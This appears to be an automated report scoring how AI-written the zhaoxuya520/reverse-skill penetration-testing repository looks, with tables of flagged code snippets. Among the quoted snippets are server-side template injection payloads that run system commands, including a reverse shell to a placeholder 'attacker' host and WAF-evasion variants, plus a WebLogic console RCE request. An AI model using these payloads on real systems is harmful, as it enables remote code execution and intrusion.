Repository Analysis

zhaoxuya520/reverse-skill

Reverse Engineering / Authorized Penetration Testing / Security Research Skill Router Pack AI-powered routing + On-demand toolchain bootstrapping + Self-evolving knowledge base Supports Claude Code, Kiro, Cursor, Cline, and other AI coding clients 逆向/渗透/安全技能路由包 - AI 自动路由 + 按需自举工具链 + 自动进化经验库 | 支持 Claude Code / Kiro / Cursor / Cline 等代码 AI 客户端

5.0 Low AI signal View on GitHub

Analysis Overview

This report presents the forensic synthetic code analysis of zhaoxuya520/reverse-skill, a PowerShell project with 8,223 GitHub stars. SynthScan v2.0 examined 134,618 lines of code across 414 source files, recording 191 pattern matches distributed across 13 syntactic categories. The overall adjusted score of 5.0 places this repository in the Low AI signal band.

The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).

5.0
Adjusted Score
5.0
Raw Score
100%
Time Factor
2026-07-10
Last Push
8.2K
Stars
PowerShell
Language
134.6K
Lines of Code
414
Files
191
Pattern Hits
2026-07-14
Scan Date
0.06
HC Hit Rate

What These Metrics Mean

Adjusted Score
Primary synthetic code indicator. Raw score normalised per 1,000 lines of code and multiplied by the temporal discount factor. This is the definitive comparative metric — use it to rank repositories by AI authorship density.
Raw Score
The unmodified sum of all severity-weighted, context-multiplied pattern match scores before temporal discounting. Reflects the absolute signal strength independent of when the repository was last active.
Time Factor
The temporal discount multiplier (0–100%) applied to the raw score. Repositories last updated before ChatGPT's launch (Nov 2022) receive a 5% factor. Full signal is only assigned to repositories active in the post-adoption era (Jan 2024+).
Pattern Hits
Total count of individual pattern matches across all files and categories. A high hit count with a low score may indicate a very large codebase with isolated AI snippets; a low count with a high score indicates dense, concentrated AI signatures.
HC Hit Rate
High+Critical pattern hits per file, averaged across the repository. This orthogonal signal catches repositories where a few files are densely packed with high-severity AI tells — a strong indicator even when the normalised score appears moderate due to codebase size.
Lines of Code / Files
Total lines and files analysed. The scanner examines 94 file extensions. These denominators are used to normalise the score, enabling fair comparison between repositories of vastly different sizes.

Score History

This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.

Severity Breakdown

Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.

CRITICAL 23HIGH 3MEDIUM 58LOW 107

Directory Score Breakdown

This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.

Pattern Findings

The scanner identified 191 distinct pattern matches across 13 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.

Hallucination Indicators23 hits · 320 pts
SeverityFileLineSnippetContext
CRITICALburp-mcp-full/add_methods.py50 api.http().registerHttpHandler(new burp.api.montoya.http.handler.HttpHandler() {CODE
CRITICALburp-mcp-full/add_methods.py54 return burp.api.montoya.http.handler.RequestToBeSentAction.continueWith(m); }CODE
CRITICALburp-mcp-full/add_methods.py55 public burp.api.montoya.http.handler.ResponseReceivedAction handleHttpResponseReceived(burp.api.montCODE
CRITICAL…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java745 var highlight = burp.api.montoya.core.HighlightColor.highlightColor(color);CODE
CRITICAL…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java1375 httpHandlerRegistration = api.http().registerHttpHandler(new burp.api.montoya.http.handler.HttpHandler()CODE
CRITICAL…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java1379 return burp.api.montoya.http.handler.RequestToBeSentAction.continueWith(m); }CODE
CRITICAL…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java1380 public burp.api.montoya.http.handler.ResponseReceivedAction handleHttpResponseReceived(burp.api.montCODE
CRITICAL…s/pentest-tools/src-hunter/references/playbooks/rce.md1180GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSessioCODE
CRITICAL…s/pentest-tools/src-hunter/references/playbooks/rce.md3372${self.module.cache.util.os.popen("id").read()}CODE
CRITICAL…s/pentest-tools/src-hunter/references/playbooks/rce.md3373${self.module.cache.util.os.popen("whoami").read()}CODE
CRITICAL…s/pentest-tools/src-hunter/references/playbooks/rce.md3374${self.module.cache.util.os.system("id")}CODE
CRITICAL…s/pentest-tools/src-hunter/references/playbooks/rce.md3390${self.module.cache.util.os.popen("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"").read()}CODE
CRITICAL…s/pentest-tools/src-hunter/references/playbooks/rce.md3398${self.module.cache.util.os.popen("i"+"d").read()}CODE
CRITICAL…s/pentest-tools/src-hunter/references/playbooks/rce.md3399${self.module.cache.util.os.popen("who"+"ami").read()}CODE
CRITICAL…st-tools/src-hunter/references/payloader/waf-bypass.md3236${self.module.cache.util.os.popen("i"+"d").read()}CODE
CRITICAL…st-tools/src-hunter/references/payloader/waf-bypass.md3237${self.module.cache.util.os.popen("who"+"ami").read()}CODE
CRITICAL…rc-hunter/references/payloader/by-category/web/框架漏洞.md911GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSessioCODE
CRITICAL…unter/references/payloader/by-category/web/ssti模板注入.md619${self.module.cache.util.os.popen("id").read()}CODE
CRITICAL…unter/references/payloader/by-category/web/ssti模板注入.md620${self.module.cache.util.os.popen("whoami").read()}CODE
CRITICAL…unter/references/payloader/by-category/web/ssti模板注入.md621${self.module.cache.util.os.system("id")}CODE
CRITICAL…unter/references/payloader/by-category/web/ssti模板注入.md645${self.module.cache.util.os.popen("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"").read()}CODE
CRITICAL…unter/references/payloader/by-category/web/ssti模板注入.md655${self.module.cache.util.os.popen("i"+"d").read()}CODE
CRITICAL…unter/references/payloader/by-category/web/ssti模板注入.md656${self.module.cache.util.os.popen("who"+"ami").read()}CODE
Decorative Section Separators52 hits · 170 pts
SeverityFileLineSnippetContext
MEDIUMkali/scripts/bootstrap-reverse.sh18# ─── 参数解析 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/bootstrap-reverse.sh69# ─── 辅助函数 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/bootstrap-reverse.sh236# ─── 能力安装逻辑 ──────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/bootstrap-reverse.sh460# ─── 服务启动 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/bootstrap-reverse.sh506# ─── 主流程 ────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh18# ─── 参数 ──────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh30# ─── 颜色 ──────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh44# ─── 检查权限 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh51# ─── 检查 Kali 版本 ────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh64# ─── 系统更新 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh75# ─── 安装 Kali 2026.1 新工具 ──────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh104# ─── 安装 Kali 原生 MCP ──────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh119# ─── 安装 AD/内网渗透工具 ─────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh136# ─── 安装非预装逆向工具 ───────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh164# ─── 配置 MCP 客户端 ──────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh201# ─── 刷新工具索引 ──────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh209# ─── 输出报告 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/refresh-tool-index.sh16# ─── 生成 Markdown ────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/refresh-tool-index.sh45# ─── 能力状态视图 ──────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/refresh-tool-index.sh119# ─── 生成 JSON ─────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/ida-start.sh7# ─── 配置(根据你的实际安装修改) ─────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/ida-start.sh15# ─── 检查 ─────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/ida-start.sh29# ─── 杀掉旧进程 ───────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/ida-start.sh34# ─── 启动服务 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/ida-start.sh42# ─── 等待就绪 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/lib/tool-discovery.sh7# ─── 路径推导 ───────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/lib/tool-discovery.sh15# ─── 工具目录定义 ─────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/lib/tool-discovery.sh123# ─── 工具发现函数 ─────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/radare2/scripts/recon.sh13# ─── 参数 ──────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/radare2/scripts/recon.sh40# ─── 工具检测 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/radare2/scripts/recon.sh60# ─── 绝对路径 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/radare2/scripts/recon.sh65# ─── 侦察 ─────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/decode.sh14# ─── 参数解析 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/decode.sh45# ─── 工具检测与自动安装 ─────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/decode.sh66# ─── 路径计算 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/decode.sh81# ─── jadx 反编译 ──────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/decode.sh90# ─── apktool 解包 ─────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/decode.sh99# ─── 统计输出 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/rebuild-sign-install.sh16# ─── 参数 ──────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/rebuild-sign-install.sh59# ─── 工具检测 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/rebuild-sign-install.sh86# ─── 生成 debug keystore(如果不存在) ─────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/rebuild-sign-install.sh99# ─── 路径计算 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/rebuild-sign-install.sh113# ─── 重打包 ───────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/rebuild-sign-install.sh118# ─── 对齐 ─────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/rebuild-sign-install.sh123# ─── 签名 ─────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/rebuild-sign-install.sh134# ─── 验证 ─────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/rebuild-sign-install.sh148# ─── 安装 ─────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/frida-run.sh15# ─── 参数 ──────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/frida-run.sh43# ─── 工具检测 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/frida-run.sh61# ─── 列出设备 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/frida-run.sh72# ─── 列出进程 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/frida-run.sh83# ─── 注入执行 ──────────────────────────────────────────────────────────────────────COMMENT
Structural Annotation Overuse37 hits · 79 pts
SeverityFileLineSnippetContext
LOWskills/ida-reverse/SKILL.md224### Step 1: 启动服务器COMMENT
LOWskills/ida-reverse/SKILL.md231### Step 2: 打开文件COMMENT
LOWskills/ida-reverse/SKILL.md238### Step 3: 全局概览COMMENT
LOWskills/ida-reverse/SKILL.md249### Step 4: 深入关键函数COMMENT
LOWskills/ida-reverse/SKILL.md259### Step 5: 数据流和交叉引用COMMENT
LOWskills/ida-reverse/SKILL.md266### Step 6: 记录和优化COMMENT
LOWskills/ida-reverse/SKILL.md272### Step 7: 输出报告COMMENT
LOW…test-tools/src-hunter/references/playbooks/api-rest.md1957# Step 1: 记录有效TokenCOMMENT
LOW…test-tools/src-hunter/references/playbooks/api-rest.md1960# Step 2: 等待Token过期/注销账号COMMENT
LOW…test-tools/src-hunter/references/playbooks/api-rest.md1961# Step 3: 尝试用旧Token建立WebSocket连接COMMENT
LOW…s/pentest-tools/src-hunter/references/playbooks/rce.md4645# Step 1: 污染原型COMMENT
LOW…s/pentest-tools/src-hunter/references/playbooks/rce.md4648# Step 2: 等待jQuery调用 $(element).html() 或 $.html()COMMENT
LOW…c-hunter/references/payloader/by-category/web/原型链污染.md164# Step 1: 污染原型COMMENT
LOW…c-hunter/references/payloader/by-category/web/原型链污染.md167# Step 2: 等待jQuery调用 $(element).html() 或 $.html()COMMENT
LOW…er/references/payloader/by-category/web/websocket安全.md372# Step 1: 记录有效TokenCOMMENT
LOW…er/references/payloader/by-category/web/websocket安全.md375# Step 2: 等待Token过期/注销账号COMMENT
LOW…er/references/payloader/by-category/web/websocket安全.md376# Step 3: 尝试用旧Token建立WebSocket连接COMMENT
LOWskills/pentest-tools/references/msf-protocol.md41# Step 1: 先查端口COMMENT
LOWskills/pentest-tools/references/msf-protocol.md44# Step 2: 启动 RPC daemon,detach=true(让它独立活着)COMMENT
LOWskills/pentest-tools/references/msf-protocol.md47# Step 3: 客户端连接,detach=falseCOMMENT
LOWskills/pentest-tools/references/msf-protocol.md50# Step 4: 之后再连,能看到同一批 sessionsCOMMENT
LOW…atch-diff-exploit/references/patch-tuesday-workflow.md93# Step 1: MSU 是 cab 套娃,先解外层COMMENT
LOW…atch-diff-exploit/references/patch-tuesday-workflow.md96# Step 2: 解里面的 .cabCOMMENT
LOW…atch-diff-exploit/references/patch-tuesday-workflow.md99# Step 3: 关键文件在 amd64_microsoft-windows-{component}_*\ 下COMMENT
LOWskills/reverse-engineering/patterns-ctf-3.md117# Step 1: Bypass ptrace anti-debugCOMMENT
LOWskills/reverse-engineering/patterns-ctf-3.md125# Step 2: Run under strace, capture ioctl callsCOMMENT
LOWskills/reverse-engineering/patterns-ctf-3.md128# Step 3: Decode timing patternsCOMMENT
LOWskills/reverse-engineering/tools.md379# Step 1: XOR decodeCOMMENT
LOWskills/reverse-engineering/tools.md384# Step 2: Base64 decodeCOMMENT
LOWskills/reverse-engineering/tools.md387# Step 3: AES-256-CBC decrypt (same value for key and IV)COMMENT
LOWskills/field-journal/seed-006_ssrf-cloud-metadata.md59# Step 1: 获取 TokenCOMMENT
LOWskills/field-journal/seed-006_ssrf-cloud-metadata.md63# Step 2: 带 Token 请求COMMENT
LOW…ills/firmware-pentest/references/emulation-and-fuzz.md94# Step 1: 注册固件到数据库COMMENT
LOW…ills/firmware-pentest/references/emulation-and-fuzz.md98# Step 2: 识别架构COMMENT
LOW…ills/firmware-pentest/references/emulation-and-fuzz.md103# Step 3: 把内核 + rootfs 装配成可启动 imageCOMMENT
LOW…ills/firmware-pentest/references/emulation-and-fuzz.md107# Step 4: 推断网络配置(DHCP / 静态 IP)COMMENT
LOW…ills/firmware-pentest/references/emulation-and-fuzz.md110# Step 5: 启动COMMENT
Excessive Try-Catch Wrapping23 hits · 25 pts
SeverityFileLineSnippetContext
LOW…test-tools/src-hunter/references/playbooks/api-rest.md2024 except Exception as e:CODE
LOW…ools/src-hunter/references/playbooks/http-smuggling.md753 except Exception as e:CODE
LOW…ools/src-hunter/references/playbooks/oauth-saml-jwt.md1596 except Exception as e:CODE
LOW…ools/src-hunter/references/playbooks/oauth-saml-jwt.md2378 except Exception as e:CODE
LOW…st-tools/src-hunter/references/payloader/waf-bypass.md3888 except Exception as e:CODE
LOW…st-tools/src-hunter/references/payloader/waf-bypass.md3927 except Exception as e:CODE
LOW…rc-hunter/references/payloader/by-category/web/请求走私.md656 except Exception as e:CODE
LOW…rc-hunter/references/payloader/by-category/web/认证漏洞.md1517 except Exception as e:CODE
LOW…rc-hunter/references/payloader/by-category/web/认证漏洞.md1556 except Exception as e:CODE
LOW…c-hunter/references/payloader/by-category/web/开放重定向.md312 except Exception as e:CODE
LOW…er/references/payloader/by-category/web/websocket安全.md446 except Exception as e:CODE
LOW…/reverse-engineering/references/ollvm-deobfuscation.md363 except Exception as e:CODE
LOWskills/scripts/bootstrap-reverse.sh310 except Exception:CODE
LOWskills/scripts/bootstrap-reverse.sh349except Exception:CODE
LOWskills/scripts/refresh-tool-index.sh242except Exception:CODE
LOWskills/scripts/refresh-tool-index.sh251except Exception:CODE
LOWskills/scripts/refresh-tool-index.sh262except Exception:CODE
LOWskills/scripts/refresh-tool-index.sh270 except Exception:CODE
LOWskills/scripts/refresh-tool-index.sh284 except Exception:CODE
LOWskills/scripts/refresh-tool-index.sh392 except Exception:CODE
MEDIUMskills/scripts/refresh-tool-index.sh265def tcp_open(port, timeout=1.0):CODE
MEDIUMskills/scripts/refresh-tool-index.sh273def mcp_http_handshake(port, timeout=3):CODE
LOWskills/diagram-generator/scripts/render_diagram.py157 except Exception as exc:CODE
Fake / Example Data18 hits · 21 pts
SeverityFileLineSnippetContext
LOW…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java302 String placeholder = params.has("placeholder") ? params.get("placeholder").getAsString() : "@@";CODE
LOW…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java358 String placeholder = params.has("placeholder") ? params.get("placeholder").getAsString() : "@@";CODE
LOW…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java651 String placeholder = params.has("placeholder") ? params.get("placeholder").getAsString() : "@@";CODE
LOW…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java1109 String placeholder = params.has("placeholder") ? params.get("placeholder").getAsString() : "@@";CODE
LOW…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java1142 String placeholder = params.has("placeholder") ? params.get("placeholder").getAsString() : "@@";CODE
LOW…test-tools/src-hunter/references/playbooks/api-rest.md741 check3: userExists(email: "test@test.com")CODE
LOW…test-tools/src-hunter/references/playbooks/api-rest.md1331 "email": "test@test.com"CODE
LOW…test-tools/src-hunter/references/playbooks/api-rest.md1338 "email": "test@test.com",CODE
LOW…test-tools/src-hunter/references/playbooks/api-rest.md1352 "email": "test@test.com",CODE
LOW…test-tools/src-hunter/references/playbooks/api-rest.md1359 "email": "test@test.com",CODE
LOW…test-tools/src-hunter/references/playbooks/api-rest.md1366 "email": "test@test.com",CODE
LOW…c-hunter/references/payloader/by-category/web/api安全.md612 check3: userExists(email: "test@test.com")CODE
LOW…c-hunter/references/payloader/by-category/web/api安全.md1460 "email": "test@test.com"CODE
LOW…c-hunter/references/payloader/by-category/web/api安全.md1467 "email": "test@test.com",CODE
LOW…c-hunter/references/payloader/by-category/web/api安全.md1484 "email": "test@test.com",CODE
LOW…c-hunter/references/payloader/by-category/web/api安全.md1491 "email": "test@test.com",CODE
LOW…c-hunter/references/payloader/by-category/web/api安全.md1498 "email": "test@test.com",CODE
LOWskills/api-security/references/rest-graphql-testing.md63{"email": "user@example.com", "role": "admin", "isAdmin": true}CODE
Over-Commented Block20 hits · 20 pts
SeverityFileLineSnippetContext
LOWkali/scripts/bootstrap-reverse.sh1#!/usr/bin/env bashCOMMENT
LOWkali/scripts/quick-setup.sh1#!/usr/bin/env bashCOMMENT
LOW…pply-chain-security/references/sbom-sca-methodology.md41```COMMENT
LOW…s/pentest-tools/src-hunter/references/playbooks/rce.md1041# 清除排除类COMMENT
LOW…ls/src-hunter/references/playbooks/intranet-postexp.md1901#COMMENT
LOW…ools/src-hunter/references/playbooks/oauth-saml-jwt.md1301_验证码未一次性失效_COMMENT
LOW…ools/src-hunter/references/playbooks/oauth-saml-jwt.md1521_利用Shiro默认密钥 + 反序列化链实现RCE_COMMENT
LOW…ools/src-hunter/references/playbooks/oauth-saml-jwt.md2321# → SSRF过滤看到target.com(白名单内),放行COMMENT
LOW…st-tools/src-hunter/references/payloader/waf-bypass.md281> 反射绕过COMMENT
LOW…rc-hunter/references/payloader/by-category/web/认证漏洞.md961# - 选择XSW攻击类型(1-8)COMMENT
LOW…rc-hunter/references/payloader/by-category/web/认证漏洞.md1441# 原理: AES-CBC加密(默认密钥) → Base64编码 → CookieCOMMENT
LOW…c-hunter/references/payloader/by-category/web/开放重定向.md261# 1. 短链接服务重定向:COMMENT
LOW…unter/references/payloader/by-category/web/缓存与cdn安全.md341> 查看邮件源码中的Received头COMMENT
LOWskills/edr-bypass-re/references/unhook-techniques.md811. 把 .asm 加入项目,启用 MASM (Custom Build Tool)COMMENT
LOWskills/pwn-chain/references/stack-pwn.md181# 0xe3afe execve("/bin/sh", r15, r12)COMMENT
LOWskills/reverse-engineering/tools-advanced.md441**Strengths:** Multi-arch support (x86, ARM, MIPS, PowerPC, PIC32), free, produces compilable C. Good for architectures COMMENT
LOWskills/reverse-engineering/platforms.md381# eBPF bytecode analysisCOMMENT
LOWskills/reverse-engineering/languages-compiled.md381```textCOMMENT
LOWskills/scripts/bootstrap-reverse.sh1#!/usr/bin/env bashCOMMENT
LOWskills/api-security/references/jwt-oauth-testing.md1# JWT + OAuth 2.0 安全测试COMMENT
Cross-Language Confusion3 hits · 18 pts
SeverityFileLineSnippetContext
HIGHburp-mcp-full/add_methods.py24 try { String hasNotes = params.has("has_notes") ? params.get("has_notes").getAsString() : null;CODE
HIGHburp-mcp-full/add_methods.py28 for (int i = history.size() - 1; i >= 0 && c < limit; i--) {CODE
HIGHburp-mcp-full/add_methods.py53 if (!httpHandlerMatch.isEmpty()) m = HttpRequest.httpRequest(m.httpService(), m.toString().replaCODE
Modern AI Meta-Vocabulary4 hits · 11 pts
SeverityFileLineSnippetContext
MEDIUMREADME_AI.md130 ├── attack-chain\ # Multi-stage attack-chain orchestrationCODE
MEDIUM…rc-hunter/references/playbooks/llm-prompt-injection.md1# LLM / Prompt Injection / RAG / AgentCOMMENT
MEDIUM…rc-hunter/references/playbooks/llm-prompt-injection.md106### 3.4 RAG 投毒COMMENT
MEDIUM…lm-security/references/prompt-injection-methodology.md45### Level 5 — 间接注入(RAG)COMMENT
Hyper-Verbose Identifiers5 hits · 5 pts
SeverityFileLineSnippetContext
LOW…rc-hunter/references/playbooks/llm-prompt-injection.md655def generate_adversarial_patch(model, target_class, patch_size=50, epochs=500):CODE
LOW…ools/src-hunter/references/playbooks/http-smuggling.md813def cache_poison_via_smuggling(host, port):CODE
LOW…rc-hunter/references/payloader/by-category/web/请求走私.md722def cache_poison_via_smuggling(host, port):CODE
LOW…rc-hunter/references/payloader/by-category/web/ai安全.md453def generate_adversarial_patch(model, target_class, patch_size=50, epochs=500):CODE
LOWskills/reverse-engineering/languages-platforms.md237def reconstruct_from_inversions(chars, inv_counts):CODE
Unused Imports2 hits · 2 pts
SeverityFileLineSnippetContext
LOWburp-mcp-full/add_methods.py1CODE
LOWskills/diagram-generator/scripts/render_diagram.py8CODE
Deep Nesting2 hits · 2 pts
SeverityFileLineSnippetContext
LOWskills/diagram-generator/scripts/render_diagram.py75CODE
LOWskills/diagram-generator/scripts/render_diagram.py130CODE
Example Usage Blocks1 hit · 2 pts
SeverityFileLineSnippetContext
LOWskills/scripts/bootstrap-reverse.sh12# Usage:COMMENT
Overly Generic Function Names1 hit · 1 pts
SeverityFileLineSnippetContext
LOWburp-mcp-full/mcp-bridge.js241function handleRequest(msg) {CODE